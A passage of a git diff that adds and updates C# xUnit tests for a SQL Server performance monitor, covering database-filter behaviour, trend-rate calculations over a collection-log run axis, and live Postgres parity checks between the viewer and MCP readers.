+        Assert.Equal(new[] { "A", "B" }, Strings(r.GetProperty("subDatabases")[0]));
+        Assert.Equal(new[] { "A" }, Strings(r.GetProperty("subDatabases")[1]));
+        Assert.Equal(new[] { "Graph (3 processes)", "Graph (1 process)", "Graph (1 process)" }, Strings(r.GetProperty("graphs")));
+        Assert.Equal(new[] { "1 process hidden by the database filter" }, Strings(r.GetProperty("cellTexts")));
+        Assert.Equal(
+            new[] { "The database filter hides 2 process rows outside the chosen databases. Each graph is whole." },
+            Strings(r.GetProperty("notes")));
+        var chip = Assert.Single(r.GetProperty("chips").EnumerateArray());
+        Assert.Equal("process-rows", chip.GetProperty("state").GetString());
+        Assert.Equal("Graphs: all; process rows: 2 databases", chip.GetProperty("text").GetString());
+        Assert.Equal("Each graph is whole; process rows outside the chosen databases are hidden.", chip.GetProperty("title").GetString());
+    }
+
+    [Fact]
+    public void WithNoFilter_EveryProcessRowShows_AndThereIsNoNoticeOrChip()
+    {
+        if (!TryRun("spread:none", out var r)) return;
+
+        Assert.Equal(new[] { "3 processes", "1 process", "1 process" }, Strings(r.GetProperty("summaries")));
+        Assert.Empty(r.GetProperty("cellTexts").EnumerateArray());
+        Assert.Equal(0, Strings(r.GetProperty("notes")).Count(n => n.Length > 0));
+        Assert.Empty(r.GetProperty("chips").EnumerateArray());
+    }
+
+    /// <summary>A filter naming A, B and C hides only the process that has no database, so the notice counts that one; the chip
+    /// pluralises by the number of chosen databases.</summary>
+    [Fact]
+    public void AProcessWithNoDatabase_IsHiddenWhileAFilterIsActive_AndTheChipCountsTheChosenDatabases()
+    {
+        if (!TryRun("spread:A|B|C", out var r)) return;
+
+        Assert.Equal(new[] { "3 processes", "1 process" }, Strings(r.GetProperty("summaries")));
+        Assert.Equal(
+            new[] { "The database filter hides 1 process row outside the chosen databases. Each graph is whole." },
+            Strings(r.GetProperty("notes")));
+        Assert.Equal("Graphs: all; process rows: 3 databases", r.GetProperty("chips")[0].GetProperty("text").GetString());
+
+        if (!TryRun("spread:A", out var one)) return;
+        Assert.Equal("Graphs: all; process rows: 1 database", one.GetProperty("chips")[0].GetProperty("text").GetString());
+    }
+
+    /// <summary>A filter that hides no process row draws no notice (the chip still says the rows follow the filter).</summary>
+    [Fact]
+    public void AFilterThatHidesNothing_DrawsNoNotice()
+    {
+        if (!TryRun("clean:A|B", out var r)) return;
+
+        Assert.Equal(new[] { "1 process", "2 processes" }, Strings(r.GetProperty("summaries")));
+        Assert.Equal(0, Strings(r.GetProperty("notes")).Count(n => n.Length > 0));
+        Assert.Equal("process-rows", Assert.Single(r.GetProperty("chips").EnumerateArray()).GetProperty("state").GetString());
+    }
+
+    /// <summary>#5244: the page row budget runs before the browser filter, so when every sent row is outside the chosen database the
+    /// cell still says how many rows were not sent (their database is unknown, so they are not counted as hidden).</summary>
+    [Fact]
+    public void WhenTheFilterHidesEverySentRow_TheCellStillCountsTheRowsNotSent()
+    {
+        if (!TryRun("cut:A", out var r)) return;
+
+        Assert.Equal(new[] { "1 process hidden by the database filter (+2 more in the graph)" }, Strings(r.GetProperty("cellTexts")));
+    }
+
+    [Fact]
+    public void TheProcessRowFilter_IsExactAboutDatabaseNames()
+    {
+        if (!TryRun("spread:a|b", out var r)) return;
+
+        /* No trim and no case folding: "a" and "b" name no database of the data, so every process row is hidden. */
+        Assert.Equal(
+            new[] { "3 processes hidden by the database filter", "1 process hidden by the database filter", "1 process hidden by the database filter" },
+            Strings(r.GetProperty("cellTexts")));
+    }
+}
diff --git a/Darling/Darling.Tests/DeadlockRateBandRungTests.cs b/Darling/Darling.Tests/DeadlockRateBandRungTests.cs
index 6c9f639c75..ed42ac8345 100644
--- a/Darling/Darling.Tests/DeadlockRateBandRungTests.cs
+++ b/Darling/Darling.Tests/DeadlockRateBandRungTests.cs
@@ -34,6 +34,8 @@ namespace Darling.Tests;
 /// about being NEWEST. Keeping a copy of those would assert this rung is still the top, which is how the
 /// NEXT rung's build goes red — the note V119's file left for this one.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class DeadlockRateBandRungTests
 {
     private const int RungVersion = 120;
diff --git a/Darling/Darling.Tests/DeadlockStoredIdentityTests.cs b/Darling/Darling.Tests/DeadlockStoredIdentityTests.cs
index 9a53509303..d3af53d9dc 100644
--- a/Darling/Darling.Tests/DeadlockStoredIdentityTests.cs
+++ b/Darling/Darling.Tests/DeadlockStoredIdentityTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// for the host.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DeadlockStoredIdentityTests
 {
     private static readonly DateTime T = new(2026, 9, 30, 12, 0, 0, DateTimeKind.Unspecified);
diff --git a/Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs b/Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs
index 0e64a06915..e7095863fa 100644
--- a/Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs
+++ b/Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs
@@ -26,6 +26,7 @@ namespace Darling.Tests;
 /// (<c>database_name = 'master'</c>) almost never finds a row and every run re-reads the last ten minutes.
 /// The arm keeps its own cursor in collector state: the newest <c>deadlock_time</c> the arm itself returned.
 /// </summary>
+[Trait("Reads", "Lite")]
 public class DeadlocksTelemetryCursorTests
 {
     private const string Key = "dl_telemetry_cursor";
diff --git a/Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs b/Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs
index 88259f0164..48aa7d4120 100644
--- a/Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs
+++ b/Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs
@@ -12,6 +12,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Viewer;
@@ -47,9 +48,13 @@ public sealed class DeltaFamilyIntervalCompletionLivePostgresTests
     /// <summary>
     /// The procedure duration trend, both copies (the viewer's read and the MCP's SQL, whose per-collection CTE the
     /// pin in DarlingMcpTrendToolsTests proves is one string; the MCP statement buckets it, #3897): t1/t2 pre-V128 (NULL) — t1 no prior, no rate (the
-    /// viewer drops it, the MCP keeps it unrated); t2 the LAG's 300 s. t3 a restart — every row 0 — no rate
-    /// either. t4 a steady pass with a readmitted plan (its row 0)
-    /// beside a measured 120 s row: MAX 120 wins over the LAG's 300, and the readmitted plan adds 0.
+    /// viewer drops it, the MCP keeps it unrated); t2 the gap to t1, 300 s. t3 a restart — every row 0 — no rate
+    /// either. t4 a steady pass with a readmitted plan (its row 0) beside a row that stored 120 s. A point's seconds
+    /// are the gap to the previous point on the run axis (#5449), and the stored 120 s means the run before t4 began
+    /// 120 s earlier and stored no rows. That run is in the collection log as an idle SUCCESS run (rows 0), so the
+    /// axis holds it: t3 (with its own run logged just after it, which is why the idle run reads idle), the idle run
+    /// 180 s later (a 0-work point over its 180 s gap), then t4 over the 120 s gap to the idle run (1200 ms / 120 s
+    /// = 10.0). The readmitted plan adds 0.
     /// </summary>
     [Fact]
     public async Task ProcedureDurationTrend_DropsTheUnknowableCollection_PrefersTheStoredInterval_AgainstDevPostgres()
@@ -80,20 +85,28 @@ public async Task ProcedureDurationTrend_DropsTheUnknowableCollection_PrefersThe
             await ProcedureAsync(connection, t4, "usp_A", 24, 1_200_000, 120, ct);
             await ProcedureAsync(connection, t4, "usp_New", 0, 0, 0, ct);
 
+            /* The collection log, as the collector writes it: t3's run is logged just after the rows it stored (rows are
+               stamped at the run's start); the run 120 s before t4 stored nothing (rows_collected 0, duration 0). */
+            var idleRun = t4.AddSeconds(-120);
+            await RunAsync(connection, t3.AddSeconds(2), rowsCollected: 1, ct);
+            await RunAsync(connection, idleRun, rowsCollected: 0, ct);
+
             var points = (await viewer.GetProcedureDurationTrendAsync(ServerId, t1.AddMinutes(-1), t4.AddMinutes(1), cancellationToken: ct)).Points;
-            Assert.Equal(new[] { t2, t4 }, points.Select(p => p.CollectionTime).ToArray());
-            Assert.Equal(2.0, points[0].Value, precision: 6);      /* 600 ms / LAG 300 s */
+            Assert.Equal(new[] { t2, idleRun, t4 }, points.Select(p => p.CollectionTime).ToArray());
+            Assert.Equal(2.0, points[0].Value, precision: 6);      /* 600 ms / the 300 s gap to t1 */
             Assert.Equal(0, points[0].ExecutionCount);             /* 30 / 300 = 0.1 executions/sec, truncated to long as always */
-            Assert.Equal(10.0, points[1].Value, precision: 6);     /* 1200 ms / STORED 120 s, not the LAG's 4.0 */
+            Assert.Equal(0.0, points[1].Value, precision: 6);      /* the idle run: no work over its 180 s gap to t3 */
+            Assert.Equal(10.0, points[2].Value, precision: 6);     /* 1200 ms / the 120 s gap to the idle run, not 4.0 over 300 s */
 
             /* The MCP copy, run as the tool would run it on the raw tier — since #3897 bucketed, here at one
                minute so each bucket holds one collection and its figures are that collection's own; the bucket's
                first collection (ordinal 4) is the collection itself. */
-            await using (var command = postgres.CreateCommand(DarlingTrendReader.ProcedureDurationTrendSql))
+            await using (var command = postgres.CreateCommand(DarlingTrendReader.ProcedureDurationTrendFilteredSql))
             {
                 command.Parameters.AddWithValue(ServerId);
                 command.Parameters.AddWithValue(t1.AddMinutes(-1));
                 command.Parameters.AddWithValue(t4.AddMinutes(1));
+                command.Parameters.Add(DatabaseFilter.All.Parameter());   /* $4: every database (#5244) */
                 command.Parameters.AddWithValue(1);
                 var mcp = new List<(DateTime At, double? Rate, double? Executions)>();
                 await using var reader = await command.ExecuteReaderAsync(ct);
@@ -104,15 +117,17 @@ first collection (ordinal 4) is the collection itself. */
                         reader.IsDBNull(2) ? null : Convert.ToDouble(reader.GetValue(2))));
                 }
 
-                /* The SQL returns all four collections; t1 and t3 carry NULL rates — the viewer's chart reader drops
-                   those (above), the MCP reader keeps them as unrated points (#3541 A12). */
-                Assert.Equal(new[] { t1, t2, t3, t4 }, mcp.Select(m => m.At).ToArray());
+                /* The SQL returns all four collections and the idle run; t1 and t3 carry NULL rates — the viewer's chart
+                   reader drops those (above), the MCP reader keeps them as unrated points (#3541 A12). */
+                Assert.Equal(new[] { t1, t2, t3, idleRun, t4 }, mcp.Select(m => m.At).ToArray());
                 Assert.Null(mcp[0].Rate);
                 Assert.Equal(2.0, mcp[1].Rate!.Value, precision: 6);
                 Assert.Null(mcp[2].Rate);
                 Assert.Null(mcp[2].Executions);
-                Assert.Equal(10.0, mcp[3].Rate!.Value, precision: 6);
-                Assert.Equal(0.2, mcp[3].Executions!.Value, precision: 6);
+                Assert.Equal(0.0, mcp[3].Rate!.Value, precision: 6);
+                Assert.Equal(0.0, mcp[3].Executions!.Value, precision: 6);
+                Assert.Equal(10.0, mcp[4].Rate!.Value, precision: 6);
+                Assert.Equal(0.2, mcp[4].Executions!.Value, precision: 6);
             }
 
             /* The history grid: the stored interval as stored, the marker's 0 included; LAG only for NULL. */
@@ -133,8 +148,56 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
     }
 
     /// <summary>
-    /// #3653 (A11): the query-stats duration and execution-count trends, both viewer copies and the Storage
-    /// builder the viewer's duration copy IS (<see cref="DurationTrendRouting.QueryDurationTrendRawSql"/>) — the
+    /// #5449: the same four collections with NO collection log (an imported or old store): the axis is the stored
+    /// collections alone, so t4 divides by its 300 s gap to t3 (1200 ms / 300 s = 4.0) and not by the 120 s it stored,
+    /// which only a logged idle run can place. t1 and t3 stay unrated (no previous point and no stored interval; a
+    /// restart), t2 is 2.0.
+    /// </summary>
+    [Fact]
+    public async Task ProcedureDurationTrend_WithNoCollectionLog_RatesOverTheStoredCollectionsAlone_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live procedure-trend test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var viewer = new ViewerDataService(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var t1 = Naive(TruncateToSeconds(DateTime.UtcNow.AddHours(-2)));
+            var t2 = t1.AddMinutes(5);
+            var t3 = t2.AddMinutes(5);
+            var t4 = t3.AddMinutes(5);
+
+            await ProcedureAsync(connection, t1, "usp_A", deltaExecutions: 5, deltaElapsedUs: 100_000, interval: null, ct);
+            await ProcedureAsync(connection, t2, "usp_A", 30, 600_000, null, ct);
+            await ProcedureAsync(connection, t3, "usp_A", 0, 0, 0, ct);
+            await ProcedureAsync(connection, t4, "usp_A", 24, 1_200_000, 120, ct);
+            await ProcedureAsync(connection, t4, "usp_New", 0, 0, 0, ct);
+
+            var points = (await viewer.GetProcedureDurationTrendAsync(ServerId, t1.AddMinutes(-1), t4.AddMinutes(1), cancellationToken: ct)).Points;
+            Assert.Equal(new[] { t2, t4 }, points.Select(p => p.CollectionTime).ToArray());
+            Assert.Equal(2.0, points[0].Value, precision: 6);
+            Assert.Equal(4.0, points[1].Value, precision: 6);      /* no log = the stored collections are the axis: 1200 ms / the 300 s gap to t3 */
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #3653 (A11): the query-stats duration and execution-count trends, both viewer copies and the MCP reader's
+    /// bucketed read (the same Storage builder, <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/>) — the
     /// same four collections as the procedure test above, now on <c>query_stats</c>, which has carried
     /// <c>sample_interval_seconds</c> from its first rung and whose trend reads LAG-recomputed the interval
     /// anyway. t1/t2 pre-V128 (NULL) — t1 no prior, no rate; t2 the LAG's 300 s. t3 a restart — every row 0
@@ -186,31 +249,22 @@ public async Task QueryDurationAndExecutionTrends_DropTheUnknowableCollection_Pr
             Assert.Equal(0.1, executions.Points[0].Value, precision: 6);
             Assert.Equal(0.2, executions.Points[1].Value, precision: 6);
 
-            /* The builder's text without the viewer's filter — the statement the MCP reader's raw const is the
-               alias-in-waiting of — run as the tool would run it: all four collections come back, t1 and t3 with
-               NULL rates (the MCP reader keeps them as unrated points, #3541 A12). */
-            await using (var command = postgres.CreateCommand(DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: false)))
-            {
-                command.Parameters.AddWithValue(ServerId);
-                command.Parameters.AddWithValue(t1.AddMinutes(-1));
-                command.Parameters.AddWithValue(t4.AddMinutes(1));
-                var rows = new List<(DateTime At, double? Rate, double? Executions)>();
-                await using var reader = await command.ExecuteReaderAsync(ct);
-                while (await reader.ReadAsync(ct))
-                {
-                    rows.Add((reader.GetDateTime(0),
-                        reader.IsDBNull(1) ? null : Convert.ToDouble(reader.GetValue(1)),
-                        reader.IsDBNull(2) ? null : Convert.ToDouble(reader.GetValue(2))));
-                }
-
-                Assert.Equal(new[] { t1, t2, t3, t4 }, rows.Select(r => r.At).ToArray());
-                Assert.Null(rows[0].Rate);
-                Assert.Equal(2.0, rows[1].Rate!.Value, precision: 6);
-                Assert.Null(rows[2].Rate);
-                Assert.Null(rows[2].Executions);
-                Assert.Equal(10.0, rows[3].Rate!.Value, precision: 6);
-                Assert.Equal(0.2, rows[3].Executions!.Value, precision: 6);
-            }
+            /* The MCP reader's bucketed read of the same rows (one-minute buckets, so each collection is its own
+               bucket), all databases: all four collections come back, t1 and t3 with NULL rates (the MCP reader keeps
+               them as unrated points, #3541 A12). */
+            var rollups = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
+            var route = DarlingTrendReader.ResolveQueryDurationTrendRoute(t1.AddMinutes(-1), rollups.Item1, rollups.Item2, windowEndUtc: t4.AddMinutes(1));
+            Assert.Equal(RetentionTier.Raw, route.Tier);
+            var rows = (await DarlingTrendReader.GetQueryDurationTrendAsync(
+                postgres, ServerId, t1.AddMinutes(-1), t4.AddMinutes(1), route, 1, DatabaseFilter.All, ct)).Points;
+
+            Assert.Equal(4, rows.Count);
+            Assert.Null(rows[0].Value);
+            Assert.Equal(2.0, rows[1].Value!.Value, precision: 6);
+            Assert.Null(rows[2].Value);
+            Assert.Null(rows[2].ExecutionsPerSecond);
+            Assert.Equal(10.0, rows[3].Value!.Value, precision: 6);
+            Assert.Equal(0.2, rows[3].ExecutionsPerSecond!.Value, precision: 6);
 
             bodySucceeded = true;
         }
@@ -334,10 +388,23 @@ private static async Task PgStatementAsync(NpgsqlConnection connection, DateTime
         await cmd.ExecuteNonQueryAsync(ct);
     }
 
+    /// <summary>One SUCCESS run of the procedure collector in the collection log (#5449: the run axis the procedure trend reads).</summary>
+    private static async Task RunAsync(NpgsqlConnection connection, DateTime loggedAt, int rowsCollected, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) " +
+            "VALUES ((SELECT COALESCE(MAX(log_id), 0) + 1 FROM collect.collection_log), $1, $2, 'procedure_stats', $3, 0, 'SUCCESS', $4)", connection);
+        cmd.Parameters.AddWithValue(ServerId);
+        cmd.Parameters.AddWithValue(ServerName);
+        cmd.Parameters.AddWithValue(loggedAt);
+        cmd.Parameters.AddWithValue(rowsCollected);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
     {
         using var cleanup = new NpgsqlCommand(
-            $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; DELETE FROM query_stats WHERE server_id = {ServerId}; DELETE FROM pg_statement_stats WHERE server_id = {ServerId};", connection);
+            $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; DELETE FROM query_stats WHERE server_id = {ServerId}; DELETE FROM pg_statement_stats WHERE server_id = {ServerId}; DELETE FROM collect.collection_log WHERE server_id = {ServerId};", connection);
         await cleanup.ExecuteNonQueryAsync(ct);
     }
 }
diff --git a/Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs b/Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs
index 224a8dd603..98dd28eeb3 100644
--- a/Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs
+++ b/Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs
@@ -337,19 +337,22 @@ that method — and returns this build's version rather than a literal that coul
     [Fact]
     public void TheFourCollectors_WriteTheIntervalAsTheMinimumOverTheirDeltaGroups()
     {
-        foreach (var (file, groups, written) in new[]
+        /* #5449: ProcedureStatsCollector computes its deltas in ComputeDeltas (the idle skip needs them in
+           ReadAsync), so the minimum is taken into `interval` there and WritePayload writes it as
+           sampleIntervalSeconds = d.IntervalSeconds. The minimum is the same; only the variable moved. */
+        foreach (var (file, groups, minimum, written) in new[]
         {
-            ("ProcedureStatsCollector.cs", 7, ".Value(sampleIntervalSeconds);"),
-            ("MemoryGrantsCollector.cs", 2, ".Value(sampleIntervalSeconds);"),
-            ("PgWaitStatsCollector.cs", 2, ".Value(row.SampleIntervalSeconds);"),
-            ("PgStatementStatsCollector.cs", 3, ".Value(row.SampleIntervalSeconds);"),
+            ("ProcedureStatsCollector.cs", 7, "var interval = Math.Min(", ".Value(sampleIntervalSeconds);"),
+            ("MemoryGrantsCollector.cs", 2, "var sampleIntervalSeconds = Math.Min(", ".Value(sampleIntervalSeconds);"),
+            ("PgWaitStatsCollector.cs", 2, "var sampleIntervalSeconds = Math.Min(", ".Value(row.SampleIntervalSeconds);"),
+            ("PgStatementStatsCollector.cs", 3, "var sampleIntervalSeconds = Math.Min(", ".Value(row.SampleIntervalSeconds);"),
         })
         {
             var source = RepoFile.ReadRepoFile("PerformanceMonitor.Collectors", file);
 
             Assert.Equal(groups, CountOf(source, "context.Deltas.CalculateDeltaWithInterval("));
             Assert.DoesNotContain("context.Deltas.CalculateDelta(", source, StringComparison.Ordinal);
-            Assert.Contains("var sampleIntervalSeconds = Math.Min(", source, StringComparison.Ordinal);
+            Assert.Contains(minimum, source, StringComparison.Ordinal);
             Assert.Contains(written, source, StringComparison.Ordinal);
         }
     }
diff --git a/Darling/Darling.Tests/DeployPowerShellProbeLimitTests.cs b/Darling/Darling.Tests/DeployPowerShellProbeLimitTests.cs
index ce4a86da3c..dc89a0dc13 100644
--- a/Darling/Darling.Tests/DeployPowerShellProbeLimitTests.cs
+++ b/Darling/Darling.Tests/DeployPowerShellProbeLimitTests.cs
@@ -21,6 +21,7 @@ public sealed class DeployPowerShellProbeLimitTests
     [Theory]
     [InlineData("DarlingDeployStaleFileTests.cs")]
     [InlineData("DarlingDeployRollbackRetentionTests.cs")]
+    [InlineData("DarlingEncryptPasswordStreamTests.cs")]
     public void TheProbeHelper_WaitsOnTheNamedOneHundredEightySecondLimit(string file)
     {
         var source = RepoFile.ReadRepoFile("Darling", "Darling.Tests", file);
@@ -31,5 +32,8 @@ public void TheProbeHelper_WaitsOnTheNamedOneHundredEightySecondLimit(string fil
 
         var oldLiteral = "WaitForExit(" + "60_000)";
         Assert.DoesNotContain(oldLiteral, source, StringComparison.Ordinal);
+        /* #5459: the encrypt-password test used to wait 120 s on its PowerShell child. */
+        var olderLiteral = "WaitForExit(" + "120_000)";
+        Assert.DoesNotContain(olderLiteral, source, StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/DesktopDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/DesktopDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..75cc8b01f5
--- /dev/null
+++ b/Darling/Darling.Tests/DesktopDatabaseFilterLiveTests.cs
@@ -0,0 +1,430 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5312: the Darling viewer's saved per-server database filter narrows the database-scoped reads the web filter narrows (object
+/// locking) and the ones the web is about to narrow (file I/O latency and throughput, database sizes and storage growth, the
+/// persistent version store). Every read keeps its unfiltered SQL and rows when the filter is null, and a filter keeps exactly the
+/// chosen databases (the same <c>database_name = ANY($n)</c> predicate the other desktop reads use, so a NULL database never
+/// matches a filter). The seed is three databases (A, B and C) per read, so [A, B] must return A's and B's rows and none of C's.
+///
+/// <para>The parity checks compare against Darling's MCP reader on the same seed: object locking against
+/// <see cref="DarlingObjectStatsReader.GetIndexLockingAsync(NpgsqlDataSource,int,int,DatabaseFilter,CancellationToken)"/> with the
+/// same set, file I/O against the MCP series list for one database, and database sizes and the PVS against the MCP reader's
+/// unfiltered database set. Skips without <c>DARLING_TEST_PG</c>, like its siblings.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DesktopDatabaseFilterLiveTests
+{
+    /* #1776 own-store: this class owns the rows of its one deterministic server, seeds them itself and removes them. */
+    private const string ServerName = "darling-desktop-dbfilter-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string DbA = "DeskDbA";
+    private const string DbB = "DeskDbB";
+    private const string DbC = "DeskDbC";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+    private const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the live desktop database-filter test.";
+
+    private static readonly string[] AB = { DbA, DbB };
+
+    [Fact]
+    public async Task IndexLocking_Filter_NarrowsGridAndSelector_MatchesTheMcpReader_TheBoxAndTheFilterBothApply()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        await using var viewer = new ViewerDataService(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = await SeedAsync(cs!, ct);
+            var t = Naive(DateTime.UtcNow.AddMinutes(-2));
+            foreach (var db in new[] { DbA, DbB, DbC })
+            {
+                await InsertIndexRowAsync(connection, ct, t, db, "Orders_" + db, rowLockWaitMs: 50_000);
+            }
+
+            /* A row whose database name is NULL: kept with no filter (read as ""), never matched by a filter, like the MCP reader. */
+            await InsertIndexRowAsync(connection, ct, t, null, "Orders_NullDb", rowLockWaitMs: 50_000);
+
+            var all = await viewer.GetIndexLockingAsync(ServerId, 200, null, cancellationToken: ct);
+            Assert.Equal(new[] { "", DbA, DbB, DbC }, all.Select(r => r.DatabaseName).Order(StringComparer.Ordinal).ToArray());
+            Assert.Equal(4, (await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, ServerId, 200, DatabaseFilter.All, ct)).Count);
+
+            /* The same rows as the MCP reader for the same set. */
+            var ab = await viewer.GetIndexLockingAsync(ServerId, 200, null, AB, ct);
+            var mcp = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, ServerId, 200, DatabaseFilter.Of(AB), ct);
+            Assert.Equal(new[] { DbA, DbB }, ab.Select(r => r.DatabaseName).Order().ToArray());
+            Assert.Equal(
+                mcp.Select(r => (r.DatabaseName, r.TableName)).Order().ToArray(),
+                ab.Select(r => (r.DatabaseName, r.TableName)).Order().ToArray());
+
+            /* The selector lists only databases inside the filter, and an unfiltered one lists all three. */
+            Assert.Equal(new[] { DbA, DbB }, (await viewer.GetIndexLockingDatabasesAsync(ServerId, AB, ct)).Order().ToArray());
+            Assert.Equal(new[] { DbA, DbB, DbC }, (await viewer.GetIndexLockingDatabasesAsync(ServerId, cancellationToken: ct)).Order().ToArray());
+
+            /* The box AND the filter: a box name inside the filter shows its rows, one outside shows none. */
+            var boxInside = await viewer.GetIndexLockingAsync(ServerId, 200, DbA, AB, ct);
+            Assert.Equal(new[] { DbA }, boxInside.Select(r => r.DatabaseName).Distinct().ToArray());
+            Assert.Empty(await viewer.GetIndexLockingAsync(ServerId, 200, DbC, AB, ct));
+            Assert.Single(await viewer.GetIndexLockingAsync(ServerId, 200, DbC, null, ct));
+
+            /* The optimized-locking note reads only the chosen databases (OptimizedLockingFlagsSql, $2). A is off, B is on, and the NULL
+               database is on: [A] must say nothing, [B] must say it, and no filter must say it (B and the NULL row are in the read). */
+            await InsertConfigAsync(connection, ct, t, DbA, optimizedLocking: false);
+            await InsertConfigAsync(connection, ct, t, DbB, optimizedLocking: true);
+            await InsertConfigAsync(connection, ct, t, null, optimizedLocking: true);
+            Assert.Null(await viewer.GetOptimizedLockingNoteAsync(ServerId, new[] { DbA }, ct));
+            Assert.NotNull(await viewer.GetOptimizedLockingNoteAsync(ServerId, new[] { DbB }, ct));
+            Assert.NotNull(await viewer.GetOptimizedLockingNoteAsync(ServerId, new[] { DbA, DbB }, ct));
+            Assert.NotNull(await viewer.GetOptimizedLockingNoteAsync(ServerId, cancellationToken: ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task IndexLocking_TiedRows_TheCapPicksTheSameRowsAsTheMcpReader_InTheSameOrder()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        await using var viewer = new ViewerDataService(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = await SeedAsync(cs!, ct);
+            var t = Naive(DateTime.UtcNow.AddMinutes(-2));
+            /* Every row ties on the wait sum and the promotion count. Inserted in the reverse of the tie-break order (C, B, A, then a NULL
+               database, which sorts last), so a statement with no tie-break would hand the cap whatever the heap held first. */
+            foreach (var db in new[] { DbC, DbB, DbA })
+            {
+                await InsertIndexRowAsync(connection, ct, t, db, "Orders_" + db, rowLockWaitMs: 50_000);
+            }
+
+            await InsertIndexRowAsync(connection, ct, t, null, "Orders_NullDb", rowLockWaitMs: 50_000);
+
+            var viewerTop = await viewer.GetIndexLockingAsync(ServerId, 2, null, cancellationToken: ct);
+            var mcpTop = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, ServerId, 2, DatabaseFilter.All, ct);
+            Assert.Equal(new[] { DbA, DbB }, viewerTop.Select(r => r.DatabaseName).ToArray());
+            Assert.Equal(
+                mcpTop.Select(r => (r.DatabaseName, r.TableName)).ToArray(),
+                viewerTop.Select(r => (r.DatabaseName, r.TableName)).ToArray());
+
+            /* The same cap under a filter: [B, C] has two rows and a cap of one keeps B. */
+            var filtered = await viewer.GetIndexLockingAsync(ServerId, 1, null, new[] { DbB, DbC }, ct);
+            Assert.Equal(new[] { DbB }, filtered.Select(r => r.DatabaseName).ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task FileIo_Trends_Filter_SitsInsideTheTopFiles_AndNoFilterIsUnchanged_MatchesTheMcpSeries()
+    {
+        var cs = ConnectionString;
